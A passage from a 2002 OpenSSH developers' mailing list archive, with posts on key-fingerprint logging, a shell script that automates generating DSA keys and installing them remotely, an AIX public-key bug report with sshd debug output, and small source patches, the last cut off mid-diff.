From niemeyer at conectiva.com  Fri Aug  9 09:24:41 2002
From: niemeyer at conectiva.com (Gustavo Niemeyer)
Date: Thu, 8 Aug 2002 20:24:41 -0300
Subject: options with passwd auth?
Message-ID: <20020808202440.A1311@ibook.distro.conectiva>

Hello!

I was just wondering, wouldn't it be nice to have some way to set
authorized_keys-like options (from, permitopen, etc) also when using
password based authentication? Is there any reason to aovid this
possibility?

Thank you!

-- 
Gustavo Niemeyer

[ 2AAC 7928 0FBF 0299 5EB5  60E2 2253 B29A 6664 3A0C ]


From b.courtin at t-online.net  Fri Aug  9 16:40:18 2002
From: b.courtin at t-online.net (Courtin Bert)
Date: Fri, 9 Aug 2002 08:40:18 +0200
Subject: Logging of key fingerprint / comment with v3.4p1
Message-ID: <60F1F87A64834D45A1EBAE9618305FB80120BEF9@qeo00200>

Hi Markus,

thank you for the hint, but this one doesn't did the trick on my server (setting loglevel to 'verbose', killing the daemon and starting it again). Maybe I missed some compile time option?


Kind regards,
B. Courtin
---
Aug  9 08:40:04 wowebref01 sshd[3578]: [ID 800047 auth.info] Received signal 15; terminating.
Aug  9 08:40:16 wowebref01 sshd[3600]: [ID 800047 auth.info] Server listening on 172.30.40.104 port 23.
(Port 23 for testing purposes?!)
Aug  9 08:40:16 wowebref01 sshd[3600]: [ID 800047 auth.info] Generating 768 bit RSA key.
Aug  9 08:40:16 wowebref01 sshd[3600]: [ID 800047 auth.info] RSA key generation complete.
Aug  9 08:40:23 wowebref01 sshd[3601]: [ID 800047 auth.info] Connection from 172.30.10.235 port 3029
Aug  9 08:40:24 wowebref01 sshd[3601]: [ID 800047 auth.info] Accepted rsa for root from 172.30.10.235 port 3029
----


-----Original Message-----
From: Markus Friedl [mailto:Markus.Friedl at informatik.uni-erlangen.de]
Sent: Thursday, August 08, 2002 9:29 PM
To: Courtin Bert
Cc: openssh-unix-dev at mindrot.org
Subject: Re: Logging of key fingerprint / comment with v3.4p1


will be logged in verbose mode
	LogLevel VERBOSE
in sshd_config


On Thu, Aug 08, 2002 at 09:15:45PM +0200, Courtin Bert wrote:
> Hi,
> 
> I'm wondering whether it is possible to log the key fingerprint (or, the comment of the key) that was used for authentication) with the actual available openssh v3.4p1 on solaris? 
> 
> (with Solaris 8 / UsePrivilegeSeparation yes, if this might be relevant, it seems not)
> 
> -Is it possible at all? How?
> -Is there a special sshd configuration option neccessary to use?
> -Does is only work with a certain loglevel?
> -If it is not possible, when might it be available?
> -If not: Is there a patch available for openssh v3.4p1 which enables this? Where?
> 
> 
> Snapshot of my /var/log/authlog
> ------
> Aug  8 16:26:29 sshd[190]: [ID 800047 auth.info] Server listening on 172.30.40.104 port 22.
> Aug  8 20:24:57 sshd[24405]: [ID 800047 auth.info] Accepted rsa for root from 172.30.10.235 port 2709
> Aug  8 20:25:23 sshd[190]: [ID 800047 auth.info] Received SIGHUP; restarting.
> ------
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev


From itojun at iijlab.net  Fri Aug  9 18:57:19 2002
From: itojun at iijlab.net (Jun-ichiro itojun Hagino)
Date: Fri, 09 Aug 2002 17:57:19 +0900
Subject: darwin getaddrinfo
Message-ID: <20020809085721.C95467BA@starfruit.itojun.org>

	in configure.ac, we AC_DEFINE(BROKEN_GETADDRINFO) for *-darwin-*
	platforms.  recent Darwin fixed getaddrinfo to work as specified in
	RFC2553, so the case clause is not needed for recent Darwin.
	still not sure when it was corrected.  anyone has a clue?

itojun


From anton.burkhalter at gmx.net  Fri Aug  9 19:27:47 2002
From: anton.burkhalter at gmx.net (Anton Burkhalter)
Date: Fri, 09 Aug 2002 11:27:47 +0200
Subject: Automation of public/private key generation
Message-ID: <3D538B13.DD3A1ACA@gmx.net>

Hi all,

I wrote a small script (developed and testet on Solaris 8), which
automates the generation and installation of the steps needed to put
keys in place. I you are interested to take it, feel free to do it.

--
***      Freundliche Gruesse     ****       Best regards     ***

Anton Burkhalter
Dipl. El. Ing. HTL
Mobile:+41(0)78 844-0290
mailto:anton.burkhalter at gmx.net      http://www.abu-online.com

--
If you are not the intended recipient of this email, you are not
authorized to make any use of it; please delete it and notify me
by return email. Thank you.
--

-------------- next part --------------
#!/bin/sh
# ******************************************************************************
# $Id: ssh-keymanager,v 1.1 2002/07/08 16:04:13 ccadmin Exp $
# Copyright (C) 2002 Anton Burkhalter, this is free software.
# ******************************************************************************
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
# WARRANTIES,  INCLUDING,  WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
#
# Author     : Anton Burkhalter  
#
# Description: Key Manager for OpenSSH
#
# Creation date : Sat Jul  6 17:57:52 MEST 2002
  scriptID="\$Id: ssh-keymanager,v 1.1 2002/07/08 16:04:13 ccadmin Exp $" ;export scriptID
#
# Change history:
# $Log: ssh-keymanager,v $
# Revision 1.1  2002/07/08 16:04:13  ccadmin
# Initial revision
#
# ------------------------------------------------------------------------------
       SAVEDIR=`pwd`
cd 
     MYHOMEDIR=`pwd`
    MYHOSTNAME=`/bin/uname -n | cut -f1 -d .`
        MYNAME=`basename $0`
 TARGEThomedir=`pwd`
TARGEThostname=""
TARGETusername=${LOGNAME}
    MYUSERNAME=${LOGNAME}

if [ -x /usr/xpg4/bin/cp ]; then
   CP="/usr/xpg4/bin/cp -p"
else
   CP="/usr/bin/cp"
fi


################################################################################
### functions ##################################################################
#

## ++
yes_or_no()
{
# Takes two arguments, a PROMPT and the default value (Y | N).
# Returns 0 if the user specified "Y", nonzero otherwise.
#
if [ ${#} -ne 2 ]; then
   return 1
fi
if [ "${2}" = "Y" ]; then
   DEFPMPT="([Y]/N):\c "
   DEFVAL="Y"
else
   DEFPMPT="(Y/[N]):\c "
   DEFVAL="N"
fi

echo "${1} ${DEFPMPT} \c"
read ANS
: ${ANS:="${DEFVAL}"}

if [ "${ANS}" != "Y" -a "${ANS}" != "y" ]; then
   return 1
fi
return 0
}
# -


## ++
do_info()
{
echo ""
echo "${scriptID}" | awk '{print "ssh-keymanager Version "$3" Release "$4}'
echo ""
echo "The basis of using ssh without typing your password is public key based"
echo "authentication. You need to generate a pair of  public/private keys for"
echo "this. \"ssh-keymanager\" will help you to do that."
echo ""
echo " - It generates your public/private \"DSA\" keys using ssh-keygen. They"
echo "   are encrypted on disk using DES, via your passphrase. The keys will"
echo "   be saved in ~/.ssh as \"id_dsa\" and \"id_dsa.pub\"."
echo "   Your public DSA key will get the name \"${USER}-id_dsa.pub\" which is"
echo "   a copy of \"id_dsa.pub\"".
echo ""
echo " - The \"${USER}-id_dsa.pub\" will be added to \"~/.ssh/authorized_keys\""
echo "   of the remote host you want to logon."
echo ""
}
# -



## ++
do_note()
{
echo ""
echo "NOTE:"
echo "It is possible to just press the enter key when prompted for a"
echo "passphrase, which will make a key with no passphrase.  This is"
echo "a Bad Idea for an identity key, so don't do it. It is strongly"
echo "recommended using a passphrase !"
echo ""
echo "At the prompt \"Enter file in which to save the key...\", -> press the Return key."
echo "At the prompt \"Enter passphrase...\",                    -> enter your passphrase !"
echo ""
echo "It may take a while to generate the keys. Please wait..."
}
# -


## ++
get_target_hostname()
{
# globals in: MYUSERNAME
#        out: TARGEThostname  

if [ ${TARGEThostname:-Notset} = Notset ]; then
   ANSWER="not_defined"
   BADANSWER=${ANSWER}
else
   ANSWER=${TARGEThostname}
fi

need_input="y"
while [ ${need_input} = "y" ]; do

   echo ""
   echo "Enter remote host name you want to logon:"
   echo ""
   echo "** Host name [${ANSWER}] : \c"
   read ANS
   : ${ANS:="${ANSWER}"}

   if [ $ANS = ${BADANSWER} ];then
      echo ""
   else
      TARGEThostname=${ANS}
      echo ""
      yes_or_no "Would you like to export \"${MYUSERNAME}-id_dsa.pub\" to the remote host \"${TARGEThostname}\"" Y
      if [ ${?} -eq 0 ]; then
         need_input="n"
         echo ""
      fi
      ANSWER=${TARGEThostname}
   fi
done
}
# -



## ++
get_target_username()
{
# globals in: MYUSERNAME, TARGEThostname
#        out: TARGETusername

if [ ${TARGETusername:-Notset} = Notset ]; then
   ANSWER="not_defined"
   BADANSWER=${ANSWER}
else
   ANSWER=${TARGETusername}
fi

need_input="y"
while [ ${need_input} = "y" ]; do

   echo ""
   echo "Enter the username on remote host \"${TARGEThostname}\""
   echo ""

   echo "   Target username [${ANSWER}] : \c"
   read ANS
   : ${ANS:="${ANSWER}"}

   if [ $ANS = ${BADANSWER} ];then
      echo ""
   else
      TARGETusername=${ANS}
      echo ""
      yes_or_no "Would you like to export \"${MYUSERNAME}-id_dsa.pub\" to the remote host \"${TARGETusername}@${TARGEThostname}\"" Y
      if [ ${?} -eq 0 ]; then
         need_input="n"
         echo ""
      fi
      ANSWER=${TARGETusername}
   fi
done
}
# -



## ++
get_target_homedir()
{
# globals in: MYUSERNAME, TARGEThostname, TARGETusername
#        out: TARGEThomedir

savedir=`pwd`
cd 

if [ ${TARGETusername} = "root" ]; then
   ANSWER="/"
else
   ANSWER="/home/${TARGETusername}"
fi

need_input="y"
while [ ${need_input} = "y" ]; do

   echo ""
   echo "Enter the home directory of user \"${TARGETusername}\" on remote machine \"${TARGEThostname}\":"
   echo ""
   echo "** Home directory [${ANSWER}] : \c"
   read ANS
   : ${ANS:="${ANSWER}"}

   TARGEThomedir=${ANS}
   echo ""
   yes_or_no "Would you like to export \"${MYUSERNAME}-id_dsa.pub\" to the remote host \"${TARGETusername}@${TARGEThostname}:${TARGEThomedir}/.ssh\"" Y
   if [ ${?} -eq 0 ]; then
      need_input="n"
      echo ""
   fi
   ANSWER=${TARGEThomedir}
done
cd ${savedir}
unset savedir
}
# -



## ++
do_buildkeys()
{
# globals in: MYHOMEDIR, MYUSERNAME

/usr/bin/rm  -f id_dsa*
do_note
ssh-keygen -b 1280 -t dsa
chmod 600 id_dsa.pub
${CP} id_dsa.pub ${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub
chmod 600 ${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub
echo ""
echo "A copy of our public key has been saved in"
echo "${MYHOMEDIR}/.ssh/${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub"
echo ""
}
# -



## ++
do_make_keys()
{
# globals in: MYHOMEDIR

if [ ! -d ${MYHOMEDIR}/.ssh ]; then
   /usr/bin/rm -f ${MYHOMEDIR}/.ssh
   mkdir ${MYHOMEDIR}/.ssh
fi
chmod 700 ${MYHOMEDIR}/.ssh
savedir=`pwd`
cd ${MYHOMEDIR}/.ssh
if [ -f id_dsa ] && [ -f id_dsa.pub ]; then
   echo ""
   echo "The following DSA keys already available:"
   /usr/bin/ls -l | grep id_dsa | awk '{print "   "$6" "$7" "$8" "$9}'
   echo ""
   yes_or_no "** do you need a new key pair " N
   if [ ${?} -eq 0 ]; then
      do_buildkeys
   fi
else
   do_buildkeys
fi
cd ${savedir}
unset savedir
}
# -



## ++
do_create_script()
{
# globals in: MYHOMEDIR, MYHOSTNAME, MYUSERNAME

/usr/bin/rm -f ${MYUSERNAME}_make_key

echo '#!/bin/sh' >> ${MYUSERNAME}_make_key
echo "# File: ${MYHOMEDIR}/${MYUSERNAME}_make_key" >> ${MYUSERNAME}_make_key
echo "# created by ssh-keymanager at: `date`" >> ${MYUSERNAME}_make_key
echo '#' >> ${MYUSERNAME}_make_key
echo 'PATH=/usr/bin;export PATH' >> ${MYUSERNAME}_make_key
echo "KEYNAME=\"${MYUSERNAME}@${MYHOSTNAME}\"" >> ${MYUSERNAME}_make_key
echo 'MYHOST=`/bin/uname -n | cut -f1 -d .`' >> ${MYUSERNAME}_make_key
echo '' >> ${MYUSERNAME}_make_key
echo 'cd' >> ${MYUSERNAME}_make_key
echo 'MYHOME=`pwd`' >> ${MYUSERNAME}_make_key
echo '' >> ${MYUSERNAME}_make_key
echo 'if [ ! -d ${MYHOME}/.ssh ]; then' >> ${MYUSERNAME}_make_key
echo '   /usr/bin/rm -f ${MYHOME}/.ssh' >> ${MYUSERNAME}_make_key
echo '   mkdir ${MYHOME}/.ssh' >> ${MYUSERNAME}_make_key
echo 'fi' >> ${MYUSERNAME}_make_key
echo 'chmod 700 ${MYHOME}/.ssh' >> ${MYUSERNAME}_make_key
echo '' >> ${MYUSERNAME}_make_key
echo 'if [ ${MYHOME} -ne "/" ]; then' >> ${MYUSERNAME}_make_key
echo '   chmod 755 ${MYHOME}' >> ${MYUSERNAME}_make_key
echo 'fi' >> ${MYUSERNAME}_make_key
echo '' >> ${MYUSERNAME}_make_key
echo "if [ ! -f \${MYHOME}/${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub ]; then" >> ${MYUSERNAME}_make_key
echo '   echo ""' >> ${MYUSERNAME}_make_key
echo "   echo \"Public key: \${MYHOME}/${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub not found ...\"" >> ${MYUSERNAME}_make_key
echo '   echo ""' >> ${MYUSERNAME}_make_key
echo '   exit' >> ${MYUSERNAME}_make_key
echo 'fi' >> ${MYUSERNAME}_make_key
echo '' >> ${MYUSERNAME}_make_key
echo "/usr/bin/rm -f \${MYHOME}/.ssh/${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub" >> ${MYUSERNAME}_make_key
echo "mv ${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub \${MYHOME}/.ssh" >> ${MYUSERNAME}_make_key
echo 'cd ${MYHOME}/.ssh' >> ${MYUSERNAME}_make_key
echo "chmod 600 ${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub" >> ${MYUSERNAME}_make_key
echo '' >> ${MYUSERNAME}_make_key
echo 'if [ -f authorized_keys ]; then' >> ${MYUSERNAME}_make_key
echo '   /usr/bin/rm -f authorized_keys.new' >> ${MYUSERNAME}_make_key
echo '   grep -v "${KEYNAME}" authorized_keys >authorized_keys.new' >> ${MYUSERNAME}_make_key
echo "   cat ${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub >> authorized_keys.new" >> ${MYUSERNAME}_make_key
echo '   /usr/bin/rm -f authorized_keys.bak' >> ${MYUSERNAME}_make_key
echo '   mv authorized_keys authorized_keys.bak' >> ${MYUSERNAME}_make_key
echo '   sort -u authorized_keys.new >authorized_keys' >> ${MYUSERNAME}_make_key
echo '   /usr/bin/rm -f authorized_keys.new' >> ${MYUSERNAME}_make_key
echo 'else' >> ${MYUSERNAME}_make_key
echo "   cat ${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub >> authorized_keys" >> ${MYUSERNAME}_make_key
echo 'fi' >> ${MYUSERNAME}_make_key
echo '' >> ${MYUSERNAME}_make_key
echo 'chmod 600 authorized_keys' >> ${MYUSERNAME}_make_key
echo 'cd' >> ${MYUSERNAME}_make_key
echo 'echo ""' >> ${MYUSERNAME}_make_key
echo "echo \"\${MYHOST}: ${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub added to \${MYHOME}/.ssh/authorized_keys\"" >> ${MYUSERNAME}_make_key
echo 'echo ""' >> ${MYUSERNAME}_make_key
echo 'echo "done..."' >> ${MYUSERNAME}_make_key
echo '' >> ${MYUSERNAME}_make_key
echo "/usr/bin/rm -f ${MYUSERNAME}_make_key" >> ${MYUSERNAME}_make_key

chmod +x ${MYUSERNAME}_make_key
}
# -


## ++
do_transfer_files()
{
# globals in: MYUSERNAME, TARGEThomedir, TARGEThostname, TARGETusername

echo ""
echo "The public key ${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub will be transfered to ${TARGEThostname}"
echo ""

if [ ${TARGETusername} = "root" ]; then
   echo "scp -p ${MYUSERNAME}_make_key .ssh/${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub ${TARGETusername}@${TARGEThostname}:/"
   scp -p ${MYUSERNAME}_make_key .ssh/${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub ${TARGETusername}@${TARGEThostname}:/
else
   echo "scp -p ${MYUSERNAME}_make_key .ssh/${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub ${TARGETusername}@${TARGEThostname}:${TARGEThomedir}"
   scp -p ${MYUSERNAME}_make_key .ssh/${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub ${TARGETusername}@${TARGEThostname}:${TARGEThomedir}
fi

echo ""
echo "The public key ${MYUSERNAME}_${MYHOSTNAME}-id_dsa.pub will be added to:"
echo ""
echo "   ${MYUSERNAME}@${TARGEThostname}:${TARGEThomedir}/.ssh/authorized_keys"
echo ""

echo "ssh ${TARGETusername}@${TARGEThostname} ${TARGEThomedir}/${MYUSERNAME}_make_key"
ssh ${TARGETusername}@${TARGEThostname} ${TARGEThomedir}/${MYUSERNAME}_make_key

/usr/bin/rm -f ${MYUSERNAME}_make_key
}
# -



## ++
do_hint()
{
echo ""
echo "********************************************************************************"
echo ""
echo "To login on remote machine without typing in your password do the following:"
echo ""
echo "   You need to start the agent, tell it your passphrase, and hook up to"
echo "   the agent whenever you need to connect to the remote machine."
echo ""
echo "   Example: ssh-agent sh -c 'ssh-add  && bash --login'"
echo "            ssh ${TARGEThostname} -l ${TARGETusername}"
echo ""
echo "********************************************************************************"
echo ""
}
# -



################################################################################
### main starts here ##########################################################
#
do_info

get_target_hostname
get_target_username
get_target_homedir

do_make_keys
do_create_script
do_transfer_files

do_hint

cd ${SAVEDIR}
-------------- next part --------------
A non-text attachment was scrubbed...
Name: anton.burkhalter.vcf
Type: text/x-vcard
Size: 193 bytes
Desc: Card for Anton Burkhalter
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020809/aab6b03f/attachment.vcf 

From bugzilla-daemon at mindrot.org  Fri Aug  9 19:43:35 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri,  9 Aug 2002 19:43:35 +1000 (EST)
Subject: [Bug 383] New: PublicKeyAuthentication failure when rlogin set to false
Message-ID: <20020809094335.6784D3D15F@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=383

           Summary: PublicKeyAuthentication failure when rlogin set to false
           Product: Portable OpenSSH
           Version: -current
          Platform: All
        OS/Version: AIX
            Status: NEW
          Severity: normal
          Priority: P2
         Component: sshd
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: jim.a.davidson at bt.com


I have recently installed V3.4 on our test machines and now find that I can no 
longer scp
files to accounts where the account has remote logins disabled.
We use root account to do various management commands on remote machines and 
now find that this
also no longer works.
We use Public Key authentication and previously our key was accepted whether 
the account was
disabled for remote logins or not but this is no longer the case.

The debug output looks like this (Solaris8 OpenSSH V34 client to AIX43 openSSH 
V34 server)

Connection from xxx.xxx.xxx.xxx port nnnn
debug1: Client protocol version 2.0; client software version OpenSSH_3.4p1
debug1: match: OpenSSH_3.4p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-1.99-OpenSSH_3.4p1
debug3: privsep user:group 323:4294967294
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug2: Network child is on pid 6280
debug3: preauth child monitor started
debug3: mm_request_receive entering
debug1: SSH2_MSG_KEXINIT received
debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-gro
up1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,
aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,
aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at open
ssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at open
ssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit: first_kex_follows 0
debug2: kex_parse_kexinit: reserved 0
debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-gro
up1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,
aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,
aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at open
ssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at open
ssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit: first_kex_follows 0
debug2: kex_parse_kexinit: reserved 0
debug2: mac_init: found hmac-md5
debug1: kex: client->server aes128-cbc hmac-md5 none
debug2: mac_init: found hmac-md5
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug3: mm_request_send entering: type 0
debug3: mm_choose_dh: waiting for MONITOR_ANS_MODULI
debug3: mm_request_receive_expect entering: type 1
debug3: mm_request_receive entering
debug3: monitor_read: checking request 0
debug3: mm_answer_moduli: got parameters: 1024 2048 8192
debug3: mm_request_send entering: type 1
debug3: mm_choose_dh: remaining 0
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug2: monitor_read: 0 used once, disabling now
debug3: mm_request_receive entering
debug1: dh_gen_key: priv key bits set: 119/256
debug1: bits set: 1552/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1613/3191
debug3: mm_key_sign entering
debug3: mm_request_send entering: type 4
debug3: monitor_read: checking request 4
debug3: mm_answer_sign
debug3: mm_answer_sign: signature 20038b08(143)
debug3: mm_request_send entering: type 5
debug2: monitor_read: 4 used once, disabling now
debug3: mm_request_receive entering
debug3: mm_key_sign: waiting for MONITOR_ANS_SIGN
debug3: mm_request_receive_expect entering: type 5
debug3: mm_request_receive entering
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user root service ssh-connection method none
debug1: attempt 0 failures 0
debug3: mm_getpwnamallow entering
debug3: mm_request_send entering: type 6
debug3: monitor_read: checking request 6
debug3: mm_answer_pwnamallow
Login restricted for root: 3004-306 Remote logins are not allowed for this 
account.
debug3: mm_answer_pwnamallow: sending MONITOR_ANS_PWNAM: 0
debug3: mm_request_send entering: type 7
debug2: monitor_read: 6 used once, disabling now
debug3: mm_request_receive entering
debug3: mm_getpwnamallow: waiting for MONITOR_ANS_PWNAM
debug3: mm_request_receive_expect entering: type 7
debug3: mm_request_receive entering
input_userauth_request: illegal user root
debug3: mm_inform_authserv entering
debug3: mm_request_send entering: type 3
debug3: monitor_read: checking request 3
debug3: mm_answer_authserv: service=ssh-connection, style=
debug2: monitor_read: 3 used once, disabling now
debug3: mm_request_receive entering
debug2: input_userauth_request: try method none
Failed none for illegal user root from xxx.xxx.xxx.xxx port 45624 ssh2
debug1: userauth-request for user root service ssh-connection method publickey
debug1: attempt 1 failures 1
debug2: input_userauth_request: try method publickey
debug2: userauth_pubkey: disabled because of invalid user
Failed publickey for illegal user root from xxx.xxx.xxx.xxx port 45624 ssh2
debug1: userauth-request for user root service ssh-connection method publickey
debug1: attempt 2 failures 2
debug2: input_userauth_request: try method publickey
debug2: userauth_pubkey: disabled because of invalid user
Failed publickey for illegal user root from xxx.xxx.xxx.xxx port 45624 ssh2
debug1: userauth-request for user root service ssh-connection method keyboard-in
teractive
debug1: attempt 3 failures 3
debug2: input_userauth_request: try method keyboard-interactive
debug1: keyboard-interactive devs
debug1: auth2_challenge: user=root devs=
debug1: kbdint_alloc: devices ''
debug2: auth2_challenge_start: devices
Failed keyboard-interactive for illegal user root from xxx.xxx.xxx.xxx port 
nnnnn ssh2
Connection closed by xxx.xxx.xxx.xxx
debug1: Calling cleanup 0x2002a790(0x0)
debug1: Calling cleanup 0x2002a790(0x0)



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From binder at arago.de  Fri Aug  9 23:36:20 2002
From: binder at arago.de (Thomas Binder)
Date: Fri, 9 Aug 2002 15:36:20 +0200
Subject: Logging of key fingerprint / comment with v3.4p1
In-Reply-To: <60F1F87A64834D45A1EBAE9618305FB80120BEF9@qeo00200>; from b.courtin@t-online.net on Fri, Aug 09, 2002 at 08:40:18AM +0200
References: <60F1F87A64834D45A1EBAE9618305FB80120BEF9@qeo00200>
Message-ID: <20020809153620.A9906917@ohm.arago.de>

Hi!

On Fri, Aug 09, 2002 at 08:40:18AM +0200, Courtin Bert wrote:
> > will be logged in verbose mode
> > 	LogLevel VERBOSE
> > in sshd_config
> 
> thank you for the hint, but this one doesn't did the trick on my
> server (setting loglevel to 'verbose', killing the daemon and
> starting it again). Maybe I missed some compile time option?

No, but you're using protocol version 1, and Markus' solution only
helps for version 2 of the protocol.

For version 1, I use the attached patch.


Ciao

Thomas


-- 
This is the sort of English up with which I will not put.
		-- Winston Churchill
-------------- next part --------------
diff -u -r openssh-3.4p1.orig/auth-rsa.c openssh-3.4p1/auth-rsa.c
--- openssh-3.4p1.orig/auth-rsa.c	Tue Jun 11 17:47:42 2002
+++ openssh-3.4p1/auth-rsa.c	Tue Jul  2 12:43:58 2002
@@ -259,6 +259,8 @@
 			continue;
 
 		/* break out, this key is allowed */
+ 		log("User %s authenticated by line \"%s\" of %s",
+ 			pw->pw_name, strtok(line, "\r\n"), file);
 		allowed = 1;
 		break;
 	}

From egarff at omniture.com  Sat Aug 10 01:39:33 2002
From: egarff at omniture.com (Eric Garff)
Date: 09 Aug 2002 09:39:33 -0600
Subject: so-called-hang-on-exit
In-Reply-To: <1028759654.28558.56.camel@egarff.superstats.com>
References: <Pine.LNX.4.44.0208072302580.1997-100000@loussa.kamppa> 
	<1028759654.28558.56.camel@egarff.superstats.com>
Message-ID: <1028907573.16748.9.camel@egarff.superstats.com>

I really hope my message didn't simply go ignored, and that this isn't
as nearly a simple question as I had thought it would be.  I am still
hoping for an answer.  Anyone?

On Wed, 2002-08-07 at 16:34, Eric Garff wrote:
> This may be a simple question:  Why does this not happen when using
> Protocol 1?
> 
> On Wed, 2002-08-07 at 14:07, Jani Jaakkola wrote:
> > On 6 Aug 2002, Eric Garff wrote:
> > 
> > > This isn't an actual reply to any one person, but here is my experience:
> > > 
> > > I have tested both the patches by Jani Jaakkol and Frank Cusack (Frank's
> > > I tried both the pty and non-pty changes).  I still get the hang, here
> > > is my setup.
> > > 
> > > This is entered as a cronjob on one server to run every 15 minutes:
> > 
> > Our patches only apply to sessions with ptys. Ssh sessions from 
> > cron-jobs normally do not have ptys and they do not need them. Also, I do 
> > not intend to provide hang-on-exit patch for the non pty case; in the non 
> > pty case the hang is what I expect and is IMO the correct thing to happen.
> > 
> > I suspect, that your cronjob just leaves something hanging in the 
> > background. You should fix the script.
> > 
> > I am an system administrator myself and I do run cron jobs which use ssh. 
> > They work just fine.
> > 
> > - Jani
> -- 
> Eric Garff
> System Administrator
> egarff at omniture.com
> 801.722.0134
> 
> Omniture
> http://www.omniture.com
> "Unique Questions, Precise Answers"
-- 
Eric Garff
System Administrator
egarff at omniture.com
801.722.0134

Omniture
http://www.omniture.com
"Unique Questions, Precise Answers"


From josb at microsoft.com  Sat Aug 10 04:05:32 2002
From: josb at microsoft.com (Jos Backus)
Date: Fri, 9 Aug 2002 11:05:32 -0700
Subject: Logging of key fingerprint / comment with 3.4p1
Message-ID: <3013537455C0D1459746B2AE2DF47AEA061C7137@svc-msg-01.northamerica.corp.microsoft.com>

Fwiw, I filed a bug report on this earlier (339).

-- 
Jos Backus <josb at microsoft.com>
WebTV Networks, Inc., Mountain View, CA



From d_wllms at lanl.gov  Sat Aug 10 07:51:42 2002
From: d_wllms at lanl.gov (David M. Williams)
Date: Fri, 09 Aug 2002 15:51:42 -0600
Subject: patch to ssh.c for KerberosTgtPassing and readability patches for
 config files and manpages
Message-ID: <3D54396E.8060708@lanl.gov>

Hey All,
    Found a very minor problem with client implementation of 
KerberosTgtPassing command line flag in ssh.c (first diff).  We also 
made some readability patches to the config files and manpages to make 
the option clearer (the remainder of the diffs).

diffs are against -current


Index: ssh.c
===================================================================
RCS file: /cvs/openssh/ssh.c,v
retrieving revision 1.158
diff -u -r1.158 ssh.c
--- ssh.c       23 Jul 2002 21:03:03 -0000      1.158
+++ ssh.c       9 Aug 2002 21:43:30 -0000
@@ -159,8 +159,8 @@
             _PATH_SSH_USER_CONFFILE);
        fprintf(stderr, "  -A          Enable authentication agent 
forwarding.\n");
        fprintf(stderr, "  -a          Disable authentication agent 
forwarding (default).\n");
-#ifdef AFS
-       fprintf(stderr, "  -k          Disable Kerberos ticket and AFS 
token forwarding.\n");
+#if defined (AFS) || defined (KRB5)
+       fprintf(stderr, "  -k          Disable SSH1 Kerberos V4/5 ticket 
and AFS token forwarding.\n");
 #endif                         /* AFS */
        fprintf(stderr, "  -X          Enable X11 connection 
